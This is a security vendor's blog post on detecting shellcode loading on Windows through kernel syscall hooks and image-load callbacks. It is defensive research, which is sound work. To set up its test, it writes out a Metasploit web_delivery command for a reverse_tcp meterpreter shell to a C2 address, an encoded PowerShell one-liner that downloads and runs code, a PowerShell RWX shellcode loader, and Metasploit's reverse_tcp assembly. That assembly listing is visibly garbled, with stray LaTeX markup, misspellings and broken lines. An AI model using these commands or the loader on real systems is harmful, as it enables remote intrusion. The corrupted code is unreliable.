Blog | CounterCraft

countercraftsec.com[/blog/post/shellcode-detection-using-realtime-kernel-monitoring/](https://www.countercraftsec.com/blog/post/shellcode-detection-using-realtime-kernel-monitoring/)

September 7, 2021

Shellcode Detection Using Real-Time Kernel Monitoring

The tools used to load code into memory have changed a lot recently. I have seen this evolution in shellcode, manually mapped images and other types of code execution methods. Sometimes, some of these techniques need to circumvent mitigations imposed by the operating system, such as bypassing [AMSI](https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/), disabling writing to the Event-Log or evading hooks placed by EDRs in user space to avoid being detected.

A typical use case used by attackers is to patch EDR's user-space memory hooks or use [Direct System Calls](https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/) to evade detection by EDRs and then load their code into the memory. This is a scenario where having an extra layer of kernel detection can be useful to detect shellcode loading in real time.

It is important to note that nothing in this post is a new technique. We are going to discuss very specific examples, but there are many more methods in addition to those listed below.

Let's discuss what challenges we are going to face in order to detect the shellcode at runtime. To accomplish this we will use two different approaches:

- Hooking some syscalls via hypervisor EPT feature
- Detecting shellcodes from kernel callback

Read on for more insights.

Setup

We are going to use Metasploit as a C2 (Command & Control) and the shellcode will be loaded into local process powershell.exe. We've chosen powershell as the process that launches meterpreter because it is a common way to load shellcodes in the local process.

We are going to generate a one-liner script to execute in powershell using:

msfconsole -x "use exploit/multi/script/web_delivery; set target 2; set lhost 192.168.1.44; set lport 1234; set payload windows/x64/meterpreter/reverse_tcp; exploit"

The script generated is:

W hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwB1AHIAXQA6ADoAUwB AGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgB1AHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAV ABsAHMAMQAyADsAJAB0AD0AbgB1AHcALQBvAGIAagB1AGMAdAAgAG4AZQB0AC4AdwB1AGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC 4ATgB1AHQALgBXAGUAYgBQAHIAbwB4AHKAXQA6ADoARwB1AHQARAB1AGYAYQB1AGwAdABQAHIAbwB4AHKAKAApAC4AYQBkAGQAcgB1AHMAcwAgAC0AbgB 1ACAAJABuAHUAbABsACKAewAkAHQALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwB1AGIAUgB1AHEAdQB1AHMAdABdADoAOgBHAGUAdABTAHkACwB0AGUA bQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB0AC4AUAByAG8AeAB5AC4AQwByAGUAZAB1AG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgB1AGQAZQBuA HQAaQBhAGwAQwBhAGMAaAB1AF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZAB1AG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0Abw BiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8 AMQA5ADIALgAxADYAOAAuADEALgA0ADQAOgA4ADAAOAAwAC8AeQBnAG8ANQBOAHgASQBEAEEAYQAvAG8AWQAzAFUAUwBxAGgARQBuAE0AVQB2ACcAKQAp ADsASQBFAFgAIAAoACgAbgB1AHcALQBvAGIAagB1AGMAdAAgAE4AZQB0AC4AVwB1AGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAc gBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADQANAA6ADgAMAA4ADAALwB5AGcAbwA1AE4AeABJAEQAQQBhACcAKQApAD

Detection by Hooking

Once the powershell script is executed and after unzipping and decoding it, we can capture the loader of the **stage1** of our implant from the memory:

In the **stage1** shellcode loader code we identify the following steps:

- 1. Allocate memory in the local process
- 2. Write the shellcode to the allocated memory
- 3. Create a thread pointing to the shellcode

The first step is the easiest to detect. The second step is just a memory copy, so there are no external calls we can monitor or filter. The last step calls a system function to spawn the thread, a very common action in any code that can be used for detection. However, using [ROP,](https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/#Return-Oriented%E2%80%A6-urm-threading) detection is very easily avoided, so in this post I won't go into further detail.

Let's take a look at the following piece of code :

\$tx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((cxP kernel32.dll VirtualAlloc) (mv9a @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, \$bbl1.Length<mark>|</mark>0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy(\$bbl1, 0, \$tx, \$bbl1.length)

\$jPdO2 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((cxP kernel32.dll CreateThread), (mv9a @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])

We can see how VirtualAlloc is called with the [flags:](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)

0x3000 = MEM_RESERVE | MEM_COMMIT 0x40 = PAGE_EXECUTE_READWRITE (RWX)

In order to detect suspicious allocations (in our case private memory with RWX permissions), we are going to need to place some hooks. Windows does not allow users to place kernel hooks, and uses [Patchguard](https://en.wikipedia.org/wiki/Kernel_Patch_Protection) to prevent it. That is why we are going to use EPT to hook some syscalls and bypass PatchGuard mitigation. More info about **EPT** here.

Once we have our driver working we can monitor the Allocations by hooking **NtAllocateVirtualMemory**. In our example, it will be easy to detect since the shellcode loader is allocating RWX memory. As an example we might use the following code to detect suspicious allocations:

So once the loader is executed we see how we detect the shellcode:

By monitoring NtAllocateVirtualMemory I have seen that there are RWX allocations coming from clr.dll , generating false positives:

As you see in the screenshot above, **VirtualAlloc** is being called from **clr.dll** using **MEM_COMMIT** with a specific memory address so our function called **IsSuspiciousAllocation()** will work fine and will not report it as suspicious allocation. However it is quite easy to circumvent our detection code.

From the attacker's perspective allocating memory regions with RWX permissions is not desirable because, as we have seen, it is easily detectable. So we are going to do some more tests improving this aspect to cover some more cases.

For the following example, let's Allocate RW memory, write shellcode to it, and then modify permissions to RX to execute it. Modifying the code of the shellcode loader, we would have the following code:

To detect this new scenario we will need to monitor **NtProtectVirtualMemory** and check when the permissions are being changed to executable. So we can use the following code in NtProtectVirtualMemory hook to detect it:

Based on these last two scenarios, we can draw some conclusions:

- The memory allocation phase is the easiest to detect
- The biggest problem with the hooking approach are the false positives coming from crl.dll

Keeping these ideas in mind, we might create another possible enhancement using RWX allocations made by clr.dll and writing our shellcode there. Therefore, we will not need to allocate memory and avoid being flagged at this step. So the new loader code could look something like this:

Note:

This above code may not be very reliable because the legitimate process might want to overwrite this buffer we are using to store the shellcode without taking into account the new memory permissions, causing an access violation exception.

Hooking takeaways:

We could continue iterating with potential improvements using other APIs such as **CreateFileMapping** or **NtMapViewOfSection** to allocate memory, which would turn into a cat-and-mouse game trying to monitor more APIs and attackers trying to find new ways to allocate the memory.

The downside of trying to detect shellcode loading processes using hooks is having to deal with possible false positives. This is not exclusive to the kernel hooking we are using here, the EDRs working in user space need to face the same problem.

It should be noted that this type of detection based on monitoring syscalls with hooks using EPT can only be accomplished on systems with EPT capabilities.

Detecting shellcodes from kernel using callbacks

Once the shellcode loader loads **stage1** into memory, we notice that the code is a **reverse tcp** that will try to connect to the C2 server and load the meterpreter payload. We can access the code directly from [github](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/block/block_reverse_tcp.asm) to read it better:

```
reverse_tcp:
 mov r14, 'ws2_32'<br>
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.<br>
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.<br>
sub rsp, 408+8 ; alloc sizeof( struct WSAData )<br>
mov r13, rsp : save poi
  mov r12, 0x0100007F5C110002
  ; perform the call to LoadLibraryA...
  mov rcx, r14 ; set the param for the library to load<br>mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )<br>call rbp ; LoadLibraryA( "ws2_32" )
  mov rdx, r13<br>
push 0x0101<br>
push 0x0101<br>
pop rcx<br>
; set the param for the version requested<br>
;<br>
y set the param for the version requested
  pop rcx \frac{1}{3} set the param for the version requested<br>mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
  push rax<br>
push rax<br>
push rax<br>
push null for reserved parameter<br>
xor r9, r9<br>
xor r8, r8<br>
y we do not specify a WSAPROTOCOL_INFO structure<br>
xor r8, r8<br>
y we do not specify a protocol<br>
inc rax<br>
y push SOCK_STREAM<br>
inc rax<br>
:<br>
  \begin{array}{ccc}\n\text{inc } \text{rax} & \text{ } & \text{ } \\
\text{mov } \text{rcx, } \text{rax} & \text{ } & \text{ } \\
\text{miv } \text{cax} & \text{ } & \text{ } \\
\end{array}mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
  call rbp \overline{\phantom{a}}; WSASochet \overline{A} (AF\_INET, SOCK_STREAM, \theta, \theta, \theta, \theta);<br>mov rdi, rax ; save the socket for later
 mov rdi, rax <br>
; perform the call to connect...<br>
push byte 16 ; length of the sockaddr struct<br>
pop r8 ; pop off the third param<br>
mov rdx, r12 ; set second param to pointer to sockaddr struct<br>
mov rdx, r12 ; set second par
   ; restore RSP so we dont have any alignment issues with the next block...
   add rsp, ( (408+8) + (8*4) + (32*4) ); cleanup the stack allocations
```
By looking at the **stage1** code we notice how it needs to load the **ws2_32.dll** library to resolve the memory address of the network APIs it will use to communicate with the C2 server:

mov rcx, r14 mov r10d, 0x0726774C call rbp

The idea of detection is to monitor from the kernel the libraries loaded from userspace and inspect the call stack of the thread that has made the syscall to detect if the base address of the call stack elements has been manually mapped code.

In order to monitor the libraries loaded in the system, we are going to use **PsSetLoadImageNotifyRoutine**, which allows us to install our callback and monitor the images that are loaded in the system using the API including the libraries(dll).

To carry out detection, we can follow these steps:

- Walk the call stack to obtain the memory base address of its elements.
- - Obtain **MEMORY_BASIC_INFORMATION** [structure](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information) returned by **ZwQueryVirtualMemory** for each element.
- Detect private(**MEM_PRIVATE**) or mapped(**MEM_MAPPED**) as executable.

In the image above we can see the detection of a suspicious region at 0x0000017d61ae013b within the call stack which is mapped as private with executable permissions(RWX) trying to load the mswsock.dll library.

If we examine the instructions within the detected shellcode, we see that it coincides with meterpreter **reverse_tcp** code just after call to **WSASocketA**:

We see that the first library loaded by the shellcode is mswsock.dll which is loaded when calling WSASocketA. Why didn't we catch the call to LoadLibraryA(**ws2_32.dll**) ? Well, in our case this library is already loaded by powershell.exe by default so the first library that is actually loaded from the shellcode is mswsock.dll which is a dependency when calling **WSASocketA**.

This allows us to see other libraries that are loaded from the shellcode when connecting to the C2 server and downloading the payload.

Conclusions

This article was just a quick overview of how to detect shellcodes from the kernel in real time using specific and not very advanced examples. As I mentioned earlier in the introduction, none of the techniques we are using here are anything new, and they can be bypassed with some additional work. These are only some concrete examples of what can be detected from the kernel. However, I think it may be useful for researchers, who develop of offensive security tools, to consider these methods in addition to EDR userland hooks. There may be specific environments or situations in which kernel detection could be more effective.

I hope you enjoyed this article.

Alonso Candado is a security software engineer at CounterCraft where he focuses on low level programming and research of new threats. You can find him on [LinkedIn.](https://www.linkedin.com/in/alonso-candado/)

Shellcode Detection Using Real-Time Kernel Monitoring

More about the challenges of detecting shellcode at runtime

Like Jim Morrison said, this is the end. But you can...

Read more blog posts